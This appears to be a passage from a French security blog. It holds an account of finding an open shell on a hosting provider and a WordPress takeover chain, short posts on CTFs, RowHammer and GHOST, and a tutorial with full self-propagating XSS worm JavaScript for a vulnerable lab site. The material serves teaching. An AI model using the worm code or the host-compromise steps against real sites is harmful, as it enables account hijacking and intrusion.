pas le domaine réel), je lance un petit :</p> <div class="highlight"><pre><span class="gp">$</span> nc snip.snap 31337. </pre></div> <p>Je vérifie l'id, il correspond au compte "touspour".</p> <p><img alt="Command id Pulseheberg" src="https://www.dailysecurity.fr/images/id.png"></p> <p>Et là, descente en enfer, encore une fois les mêmes questions : "Quels sont ses droits sur le serveur ? Que fait-il là ?".</p> <p>Pour la deuxième question il faudra que je demande au support de mon hébergeur, je décide donc de chercher la réponse à la première question.</p> <h2>Quels sont ses droits sur le serveur?</h2> <p>Quelques commandes me permettent de voir que je ne suis de toute évidence pas doté de droits root, ouf.</p> <p>Grâce à un affichage de /etc/passwd je vois qu'un compte est créé pour chaque nouvel utilisateur.</p> <p>Niveau sécurité, ça n'a pas l'air au top niveau mais au moins je ne peux pas me déplacer dans les dossiers des autres personnes.</p> <p>Enfin, ça, c'était avant le drame ...</p> <p>Toujours dans le but final de découvrir comment mon site a pu être piraté par notre chère Dr34mT34m, je lance à tout hasard un listing des répertoires via le shell sur mon répertoire à priori privé :</p> <p><img alt="Listing directory dailysecurity" src="https://www.dailysecurity.fr/images/listing.png"></p> <p>Et là, horreur, on ne peut pas se déplacer dans les répertoires mais on peut les lister.</p> <p>Je rentre la commande :</p> <div class="highlight"><pre><span class="gp">$</span> cat /home/dailysec/public_html/wp-config.php </pre></div> <p>Des gouttes de sueurs commencent à perler sur mon front quand je vois apparaître :</p> <p><img alt="Base de données Wordpress" src="https://www.dailysecurity.fr/images/bdd.png"></p> <p>A partir de ce moment, je choisis de me connecter sur le port 3306 (MySQL) et un beau OPEN se peint devant mes yeux.</p> <p>L'attaque devient alors claire:</p> <ul> <li>On se connecte sur le port 31337</li> <li>On récupère les logins MySQL</li> <li>On se connecte et on modifie le mot de passe administrateur WordPress</li> <li>On peut upload un shell dans les templates ou juste via l'upload</li> <li>Enjoy your shell ...</li> </ul> <h2>Que fait-il là?</h2> <p>Bonne question, pour y répondre j'ai dû batailler avec le support de Pulseheberg qui m'a envoyé balader :</p> <p><img alt="Message PulseHeberg" src="https://www.dailysecurity.fr/images/message.png"></p> <p>Etant une personne très patiente et dotée d'un sens du sarcasme assez poussé, je lui ai bien sûr répondu :</p> <blockquote> <p>"Étonnamment quand je fais un 'nc snip.snap 31337' j'obtiens un shell console. Vos audits de sécurités sont-ils sélectifs dans le genre "on laisse le port 31337 ouvert, ça fait classe" ? Je dis bien sûr tout ça avec le plus grand des humours mais ça me reste tout de même en travers de la gorge ..."</p> </blockquote> <p>Le tout accompagné des screenshots présents dans l'article.</p> <p>Ma réponse n'a pas dû plaire au "Développeur en chef" puisque c'est une autre personne qui m'a répondu que la faille était "patchée" et "bloquée niveau firewall".</p> <p>Je cherche à en savoir plus sur l'origine de ce shell et j'obtiens une réponse pour le moins originale :</p> <blockquote> <p>"Le port avait été ouvert lors d'une très ancienne intervention et n'avait pas été fermé correctement."</p> </blockquote> <p>De toute évidence ma réponse au "Développeur en chef" avait tapé dans le mille : les pseudos audits de sécurité quotidiens n'avaient pas vu le port 31337 ouvert.</p> <p>Pire, le firewall semblait être un firewall à DROP.</p> <p>Pour ceux qui ne connaissent pas les firewalls à DROP sachez que cela correspond grossièrement à ajouter des règles interdisant d'ouvrir tel ou tel port, ce qui n'est absolument pas sécurisé.</p> <h2>Retour d'expérience chez PulseHeberg</h2> <p>Avant d'en venir à des conclusions hâtives, je souhaiterais vous éclairer sur les points essentiels de mon ressenti sur "l'expérience Pulseheberg".</p> <p>Lors de mon inscription, j'ai commandé un VPS afin de gérer moi-même la sécurité du serveur.</p> <p>La livraison s'est déroulée sans encombre. Par contre, mes 8 Go de RAM allouée ne semblaient pas correspondre au résultat fourni par la commande "free" qui m'indiquait 8To.</p> <p>J'ai appris plus tard qu'ils avaient mal configuré la VM.</p> <p>Je me demande ce que cela aurait fait si j'avais mis à profit ces 8To, sûrement une coupure générale de toutes les VM du parc.</p> <p>Au bout d'un mois, le serveur ne répondait plus, même via ssh, en tant "qu'administrateur de VPS du weekend" et avec ma confiance en moi légendaire, j'ai pensé à une erreur de ma part, personne n'est infaillible.</p> <p>J'ai donc totalement réinstallé le serveur et le problème a persisté. Après trois tickets au support, il m'a semblé que le problème les dépassait.</p> <p>J'avais déjà avancé de l'argent sur leur service, il me restait aux alentours de 40 euros, c'est pourquoi j'ai décidé de changer de prestation vers un hébergement mutualisé, la suite vous la connaissez...</p> <p>Si je devais choisir un point positif chez PulseHeberg cela serait les tickets au support, auxquels on reçoit une réponse dans un temps record, environ une quinzaine de minutes, j'ai toujours eu l'impression que le support prenait vraiment mon problème à cœur.</p> <p>Malgré un support à l'écoute ainsi que des prix défiants toute concurrence, leurs compétences gâchent totalement le service.</p> <p>On comprend bien qu'ils essaient de faire de leur mieux, en revanche, comme vous vous en doutez, je ne vous conseille pas cet hébergeur, sauf si vous ne vous intéressez pas à la sécurité de votre site.</p> <p>Voilà, c’est déjà terminé, n’hésitez pas à commenter cet article ainsi qu'à rejoindre mon <a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique. </p> <p>Geluchat.</p>BCTF, 0CTF et BackDoorCTF2015-04-03T21:16:00+02:002015-04-03T21:16:00+02:00Geluchattag:www.dailysecurity.fr,2015-04-03:/bctf-0ctf-backdoorctf<p>J'ai récemment participé au BCTF, au 0CTF ainsi qu'au BackDoorCTF.</p> <p>À cette occasion, j'ai appris de nouvelles failles, notamment de la cryptographie, une méthode d'escape de sandbox Java et une autre forme de XXE.</p> <p>Si vous souhaitez vous renseigner sur ces techniques je vous en fais une petite liste:</p> <ul> <li>Le …</li></ul><p>J'ai récemment participé au BCTF, au 0CTF ainsi qu'au BackDoorCTF.</p> <p>À cette occasion, j'ai appris de nouvelles failles, notamment de la cryptographie, une méthode d'escape de sandbox Java et une autre forme de XXE.</p> <p>Si vous souhaitez vous renseigner sur ces techniques je vous en fais une petite liste:</p> <ul> <li>Le Bit Flipping: Une manière d'altérer un cookie peu protégé par un chiffrement CBC.<br> Plus d'informations <a href="https://github.com/smokeleeteveryday/CTF_WRITEUPS/blob/master/2015/CODEGATE/web/owltube/README.md">ici</a> ou encore <a href="http://www.pwntester.com/blog/2015/03/30/0ctf-2015-mislead-web-300/">ici</a></li> <li>Le <a href="http://clojure.org/">clojure</a>, une sorte de langage natif interprété à l’intérieur de la JVM.<br> Très utile lors des <a href="http://geeksspeak.github.io/blog/2015/04/03/backdoor-ctf-2015-noname-writeup/">escapes</a> de sandbox</li> <li>Les XXE into <em>.docx</em><br> En effet, les parsers de <em>.docx</em> sont sensibles au XXE comme le montre le challenge <a href="http://www.pwntester.com/blog/2015/03/30/0ctf-2015-golden-mac-1-web-300/">GoldenMac</a> du 0CTF</li> </ul> <p>Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon <a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.<br> Geluchat.</p>La vulnérabilité RowHammer2015-03-17T11:48:00+01:002015-03-17T11:48:00+01:00Geluchattag:www.dailysecurity.fr,2015-03-17:/rowhammer<p>Voici déjà une semaine que cette <a href="http://googleprojectzero.blogspot.in/2015/03/exploiting-dram-rowhammer-bug-to-gain.html">vulnérabilité</a> fait parler d'elle, elle permet une élévation de privilège d'une manière très étonnante.</p> <h3>Le concept</h3> <p>Elle repose sur une erreur de conception matérielle de certaines barrettes de DRAM (Dynamic Random Access Memory).</p> <p>Il y a dans ces dernières des millions de condensateurs très …</p><p>Voici déjà une semaine que cette <a href="http://googleprojectzero.blogspot.in/2015/03/exploiting-dram-rowhammer-bug-to-gain.html">vulnérabilité</a> fait parler d'elle, elle permet une élévation de privilège d'une manière très étonnante.</p> <h3>Le concept</h3> <p>Elle repose sur une erreur de conception matérielle de certaines barrettes de DRAM (Dynamic Random Access Memory).</p> <p>Il y a dans ces dernières des millions de condensateurs très proches les uns des autres.</p> <p>Ainsi, lorsque l'on modifie un bit, il y a des chances pour que les condensateurs adjacents soient modifiés, on appelle ça du 'Bit flipping' </p> <p>Plus précisément, l'exploit fonctionne sur le principe suivant:</p> <p>On cherche à modifier des bits de la mémoire qui ne nous appartiennent pas.<br> Pour cela, on utilise une technique dite RowHammer ("Martellement de colonne") qui consiste à lire un bit sur une colonne puis à vider sa cellule et on répète en boucle.</p> <div class="highlight"><pre><span class="nl">code1a:</span> <span class="nf">mov</span> <span class="p">(</span><span class="no">X</span><span class="p">),</span> <span class="nv">%eax</span> <span class="err">;</span> <span class="no">Read</span> <span class="no">from</span> <span class="no">address</span> <span class="no">X</span> <span class="nf">mov</span> <span class="p">(</span><span class="no">Y</span><span class="p">),</span> <span class="nv">%ebx</span> <span class="err">;</span> <span class="no">Read</span> <span class="no">from</span> <span class="no">address</span> <span class="no">Y</span> <span class="nf">clflush</span> <span class="p">(</span><span class="no">X</span><span class="p">)</span> <span class="err">;</span> <span class="no">Flush</span> <span class="no">cache</span> <span class="no">for</span> <span class="no">address</span> <span class="no">X</span> <span class="nf">clflush</span> <span class="p">(</span><span class="no">Y</span><span class="p">)</span> <span class="err">;</span> <span class="no">Flush</span> <span class="no">cache</span> <span class="no">for</span> <span class="no">address</span> <span class="no">Y</span> <span class="nf">jmp</span> <span class="no">code1a</span> </pre></div> <p>Poussé à l’extrême, cela mène à une élévation de privilèges</p> <h3>Mon avis, les conséquences futurs</h3> <p>J'aime beaucoup les failles liées à un vrai défaut technique et matériel de la part du concepteur.</p> <p>Pour moi, ces vulnérabilités d'un type novateur n'annoncent que les prémisses d'une refonte du concept même des architectures modernes et des matériaux utilisés.</p>Les Vers XSS: Game of Life2015-03-10T17:56:00+01:002015-03-10T17:56:00+01:00Geluchattag:www.dailysecurity.fr,2015-03-10:/les-vers-xss<p>L'apparition des premiers vers informatiques date de 1988 avec la création du ver Morris.</p> <p>Celui-ci n'était pas destructeur mais à néanmoins engendré un coup estimé à 100 millions de dollars suite à plusieurs erreurs de conceptions.</p> <p>En ce qui concerne notre sujet principal, à savoir les Vers XSS, leur arrivée …</p><p>L'apparition des premiers vers informatiques date de 1988 avec la création du ver Morris.</p> <p>Celui-ci n'était pas destructeur mais à néanmoins engendré un coup estimé à 100 millions de dollars suite à plusieurs erreurs de conceptions.</p> <p>En ce qui concerne notre sujet principal, à savoir les Vers XSS, leur arrivée a été plus tardive.</p> <p>Le plus connu d'entre eux est sans aucun doute le ver Samy qui a infecté le réseau MySpace en 2005.</p> <p>Je vous conseille d'ailleurs de lire <a href="https://namb.la/popular/">l'histoire</a> du créateur de ce ver qui a mis à disposition <a href="https://namb.la/popular/tech.html">son code</a> ainsi que ses réactions heure par heure pendant le déploiement de son ver.</p> <p>Une fois de plus, ce ver n’était pas nocif et se contentait simplement de poster un message sur le profil de la personne ("But most of all, samy is my hero") ainsi que de l'ajouter en ami.</p> <p>Après cette petite introduction, passons à un exemple.</p> <p>Pour commencer, j'ai créé un site faillible permettant de tester les Vers XSS, il est composé de quatre parties:</p> <ul> <li>Connexion au site</li> <li>Une shoutbox (chat)</li> <li>L'affichage du profil</li> <li>L'affichage des profils des autres comptes</li> </ul> <p>Il est disponible <a href="https://github.com/Geluchat/Vulnerable/tree/master/Vers%20XSS">ici</a></p> <p>Pour le configurer, rien de plus simple:</p> <ul> <li>Créer une base de données "Ver"</li> <li>Importer le fichier bdd.sql</li> <li>Mettre les bons identifiants dans le fichier bdd.php</li> </ul> <p>Voilà, vous êtes prêts pour la suite de cet article!</p> <p>Si vous avez survolé le site, vous aurez sans doute remarqué que le profil contient une option "humeur".</p> <p>Cette humeur correspond à une sorte de "message d'état", un petit mot que la personne peut laisser sur son profil.</p> <p>Le champ "humeur" ainsi que la shoutbox sont tous deux faillibles au XSS.</p> <p>Pour notre exemple nous allons passer par le champ "humeur"; cela nous permettra de laisser cours à notre imagination lors de la dernière partie de cet article.</p> <p>Procédons, maintenant au schéma d'attaque :</p> <p>Nous allons nous connecter en tant que Alice puis infecter notre profil.</p> <p>Ensuite nous nous connecterons en tant que Admin puis visiterons le profil d'Alice.</p> <p>Enfin nous vérifierons que nous avons bel et bien été infecté à notre tour.</p> <p>Sans tarder, voici le code du ver que nous allons utiliser:</p> <div class="highlight"><pre><span class="kd">var</span> <span class="nx">http</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span> <span class="nx">http</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">&quot;POST&quot;</span><span class="p">,</span> <span class="s2">&quot;/Ver/profile.php&quot;</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Content-type&quot;</span><span class="p">,</span> <span class="s2">&quot;application/x-www-form-urlencoded&quot;</span><span class="p">);</span> <span class="kd">var</span> <span class="nx">post</span><span class="o">=</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mi">104</span><span class="p">,</span><span class="mi">117</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">117</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">61</span><span class="p">,</span><span class="mi">73</span><span class="p">,</span><span class="mi">110</span><span class="p">,</span><span class="mi">102</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">99</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="mi">60</span><span class="p">,</span><span class="mi">115</span><span class="p">,</span><span class="mi">99</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">112</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">32</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="mi">61</span><span class="p">,</span><span class="mi">34</span><span class="p">,</span><span class="mi">111</span><span class="p">,</span><span class="mi">119</span><span class="p">,</span><span class="mi">110</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="mi">34</span><span class="p">,</span><span class="mi">62</span><span class="p">);</span> <span class="nx">post</span><span class="o">=</span><span class="nx">post</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&quot;owned&quot;</span><span class="p">).</span><span class="nx">innerHTML</span><span class="p">);</span> <span class="nx">post</span><span class="o">=</span><span class="nb">encodeURI</span><span class="p">(</span><span class="nx">post</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mi">60</span><span class="p">,</span><span class="mi">47</span><span class="p">,</span><span class="mi">115</span><span class="p">,</span><span class="mi">99</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">112</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">62</span><span class="p">)));</span> <span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Content-length&quot;</span><span class="p">,</span> <span class="nx">post</span><span class="p">.</span><span class="nx">length</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Connection&quot;</span><span class="p">,</span> <span class="s2">&quot;close&quot;</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">post</span><span class="p">);</span> <span class="nx">alert</span><span class="p">(</span><span class="s2">&quot;Infected&quot;</span><span class="p">);</span> </pre></div> <p>Une petite explication s'impose:</p> <p>On créé un id au script afin de le repérer sur la page lors de la copie du ver:</p> <p>On ouvre une requête HTTP:</p> <div class="highlight"><pre><span class="kd">var</span> <span class="nx">http</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span> <span class="nx">http</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">&quot;POST&quot;</span><span class="p">,</span> <span class="s2">&quot;/Ver/profile.php&quot;</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Content-type&quot;</span><span class="p">,</span> <span class="s2">&quot;application/x-www-form-urlencoded&quot;</span><span class="p">);</span> </pre></div> <p>Cette ligne correspond à 'humeur=Infected&#60;script id=&#34;owned&#34;&#62;' Elle est encodée car le javascript est très pointilleux avec ses mots clés</p> <div class="highlight"><pre><span class="kd">var</span> <span class="nx">post</span><span class="o">=</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mi">104</span><span class="p">,</span><span class="mi">117</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">117</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">61</span><span class="p">,</span><span class="mi">73</span><span class="p">,</span><span class="mi">110</span><span class="p">,</span><span class="mi">102</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">99</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="mi">60</span><span class="p">,</span><span class="mi">115</span><span class="p">,</span><span class="mi">99</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">112</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">32</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="mi">61</span><span class="p">,</span><span class="mi">34</span><span class="p">,</span><span class="mi">111</span><span class="p">,</span><span class="mi">119</span><span class="p">,</span><span class="mi">110</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="mi">34</span><span class="p">,</span><span class="mi">62</span><span class="p">);</span> </pre></div> <p>La ligne la plus importante, elle récupère le code du ver grâce à l'id que nous avons défini à l'aide de la première instruction.</p> <p>On peut ajouter que l'on utilise la fonction concat.</p> <p>En effet, un + sera mal interprété par notre requête qui la transformera en un espace.</p> <div class="highlight"><pre><span class="nx">post</span><span class="o">=</span><span class="nx">post</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&quot;owned&quot;</span><span class="p">).</span><span class="nx">innerHTML</span><span class="p">);</span> </pre></div> <p>On ferme la balise script</p> <div class="highlight"><pre><span class="nx">post</span><span class="o">=</span><span class="nb">encodeURI</span><span class="p">(</span><span class="nx">post</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mi">60</span><span class="p">,</span><span class="mi">47</span><span class="p">,</span><span class="mi">115</span><span class="p">,</span><span class="mi">99</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">112</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">62</span><span class="p">)));</span> </pre></div> <p>Enfin, on envoie les données sur le profil personnel de la personne et on affiche un pop-up qui signale l'infection:</p> <div class="highlight"><pre><span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Content-length&quot;</span><span class="p">,</span> <span class="nx">post</span><span class="p">.</span><span class="nx">length</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Connection&quot;</span><span class="p">,</span> <span class="s2">&quot;close&quot;</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">post</span><span class="p">);</span> <span class="nx">alert</span><span class="p">(</span><span class="s2">&quot;Infected&quot;</span><span class="p">);</span> </pre></div> <p>Ce qui donne en action:</p> <p><img alt="Alice-before" src="https://www.dailysecurity.fr/images/Alice-before.png"></p> <hr> <p>On change l'humeur par le script</p> <hr> <p><img alt="Alice-After" src="https://www.dailysecurity.fr/images/Alice-After.png"></p> <hr> <p>On se connecte en Admin</p> <hr> <p><img alt="Admin-before" src="https://www.dailysecurity.fr/images/Admin-Before.png"></p> <hr> <p>On accède à affiche.php?id=2</p> <hr> <p><img alt="Admin-After" src="https://www.dailysecurity.fr/images/Admin-After.png"></p> <hr> <p>On constate que l'utilisateur Admin a bien été infecté en consultant le profil d’Alice</p> <p>Pour aller plus loin, on peut s'amuser à rajouter une fonction qui envoie un message dans la shoutbox avec le lien du profil à chaque infection.</p> <p>Afin de rendre l'exercice plus amusant, nous allons utiliser une sélection aléatoire de la chaine à envoyer dans la shoutbox:</p> <div class="highlight"><pre><span class="kd">var</span> <span class="nx">http</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span> <span class="nx">http</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">&quot;POST&quot;</span><span class="p">,</span> <span class="s2">&quot;/Ver/profile.php&quot;</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Content-type&quot;</span><span class="p">,</span> <span class="s2">&quot;application/x-www-form-urlencoded&quot;</span><span class="p">);</span> <span class="kd">var</span> <span class="nx">post</span><span class="o">=</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mi">104</span><span class="p">,</span><span class="mi">117</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">117</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">61</span><span class="p">,</span><span class="mi">73</span><span class="p">,</span><span class="mi">110</span><span class="p">,</span><span class="mi">102</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">99</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="mi">60</span><span class="p">,</span><span class="mi">115</span><span class="p">,</span><span class="mi">99</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">112</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">32</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="mi">61</span><span class="p">,</span><span class="mi">34</span><span class="p">,</span><span class="mi">111</span><span class="p">,</span><span class="mi">119</span><span class="p">,</span><span class="mi">110</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="mi">34</span><span class="p">,</span><span class="mi">62</span><span class="p">);</span> <span class="nx">post</span><span class="o">=</span><span class="nx">post</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&quot;owned&quot;</span><span class="p">).</span><span class="nx">innerHTML</span><span class="p">);</span> <span class="nx">post</span><span class="o">=</span><span class="nb">encodeURI</span><span class="p">(</span><span class="nx">post</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mi">60</span><span class="p">,</span><span class="mi">47</span><span class="p">,</span><span class="mi">115</span><span class="p">,</span><span class="mi">99</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">112</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">62</span><span class="p">)));</span> <span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Content-length&quot;</span><span class="p">,</span> <span class="nx">post</span><span class="p">.</span><span class="nx">length</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Connection&quot;</span><span class="p">,</span> <span class="s2">&quot;close&quot;</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">post</span><span class="p">);</span> <span class="nx">randomstring</span><span class="o">=</span><span class="p">[</span><span class="s2">&quot;[PDF] Pirater comme un nul&quot;</span><span class="p">,</span> <span class="s2">&quot;[Tuto] BruteForce Facebook&quot;</span><span class="p">,</span> <span class="s2">&quot;[TUTO] Hack Hotmail&quot;</span><span class="p">,</span> <span class="s2">&quot;[INFO] Aller sur le deepweb&quot;</span><span class="p">];</span> <span class="nx">post</span><span class="o">=</span><span class="s2">&quot;message=&lt;a href=%22./affiche.php?id=1%22&gt;&quot;</span><span class="p">;</span> <span class="nx">post</span><span class="o">=</span><span class="nx">post</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nx">randomstring</span><span class="p">[</span><span class="nb">Math</span><span class="p">.</span><span class="nx">floor</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()</span> <span class="o">*</span> <span class="nx">randomstring</span><span class="p">.</span><span class="nx">length</span><span class="p">)]);</span> <span class="nx">post</span><span class="o">=</span><span class="nx">post</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="s2">&quot;&lt;/a&gt;&quot;</span><span class="p">);</span> <span class="kd">var</span> <span class="nx">http2</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span> <span class="nx">http2</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">&quot;POST&quot;</span><span class="p">,</span> <span class="s2">&quot;/Ver/shout.php&quot;</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span> <span class="nx">http2</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Content-type&quot;</span><span class="p">,</span> <span class="s2">&quot;application/x-www-form-urlencoded&quot;</span><span class="p">);</span> <span class="nx">http2</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">post</span><span class="p">);</span> <span class="nx">alert</span><span class="p">(</span><span class="s2">&quot;Infected&quot;</span><span class="p">);</span> </pre></div> <p>Vous savez maintenant créer votre propre ver XSS ainsi que le modifier pour lui ajouter des fonctions.</p> <p>Ces fonctions peuvent être diverses et ne sont limitées que par votre imagination (Changement de mot de passe, Command and Control, Bypass Token, etc.)</p> <p>Pour empêcher les Vers XSS sur votre site, il suffit tout simplement de le sécuriser des XSS Classiques (grâce à la fonction html_entities())</p> <p>Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon <a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p> <p>Geluchat.</p>Introduction et présentation de la faille GHOST2015-02-27T20:04:00+01:002015-02-27T20:04:00+01:00Geluchattag:www.dailysecurity.fr,2015-02-27:/faille-ghost<p>Cet article sert d'introduction à la partie actualité commentée du site.</p> <p>Celle-ci sera composée de nouveautés liées aux différentes CVE actuelles ou encore sur des événements de type Capture The Flag qui comporteraient des éléments intéressants.</p> <p>Ayant manqué la faille GHOST (CVE-2015-0235) qui est apparue pendant la création de ce …</p><p>Cet article sert d'introduction à la partie actualité commentée du site.</p> <p>Celle-ci sera composée de nouveautés liées aux différentes CVE actuelles ou encore sur des événements de type Capture The Flag qui comporteraient des éléments intéressants.</p> <p>Ayant manqué la faille GHOST (CVE-2015-0235) qui est apparue pendant la création de ce site, je ne saurais que vous conseiller de lire les différents documents disponibles sur le net.</p> <p>Pour ceux qui ne connaitraient pas cette faille ou qui ne se seraient pas penchés sur le sujet je vais vous faire une courte description de la faille.</p> <p>La faille GHOST, qui tient son nom de la fonction gethostbyname(), est présente dans la version 2.2 de glibc et permet de gagner un accès shell à une machine distante.</p> <p>Il faut savoir que cette faille a été patchée en mai 2013 mais n'a pas été prise en compte par les nouvelles distributions qui n'ont pas associé la mise à jour à un danger.</p> <p>On peut y compter Centos, Fedora ainsi que Ubuntu.</p> <p>Elle consiste en l'exploitation d'un Heap Overflow complexe car il permet de réécrire la mémoire uniquement avec des nombres et des points.</p> <p>Néanmoins, plusieurs exploits ont vu le jour et touchent des programmes importants tels que Apache, Nginx, Mysql ou encore SendMail (EDIT: non exploitable pour ces deux derniers).</p> <p>Pour plus d'informations, l'excellent <a href="http://www.openwall.com/lists/oss-security/2015/01/27/9">PoC</a> de Qualys Security</p>Les NOSQL injections Classique et Blind: Never trust user input2015-02-22T05:21:00+01:002015-02-22T05:21:00+01:00Geluchattag:www.dailysecurity.fr,2015-02-22:/nosql-injections-classique-blind<p>Les bases de données NOSQL ont été créées pour répondre au problème de latence des SGBD relationnels sur de grosses bases de données.</p> <p>On peut en citer plusieurs telles que:</p> <ul> <li>DynamoDB</li> <li>MongoDB</li> <li>Oracle NoSQL</li> </ul> <p>Néanmoins, l'apparition de ce nouveau moyen de stockage a fait émerger un type de faille innovant …</p><p>Les bases de données NOSQL ont été créées pour répondre au problème de latence des SGBD relationnels sur de grosses bases de données.</p> <p>On peut en citer plusieurs telles que:</p> <ul> <li>DynamoDB</li> <li>MongoDB</li> <li>Oracle NoSQL</li> </ul> <p>Néanmoins, l'apparition de ce nouveau moyen de stockage a fait émerger un type de faille innovant: La NOSQL injections.</p> <p>Pour ceux souhaitant tester chez eux, je leur conseille ce <a 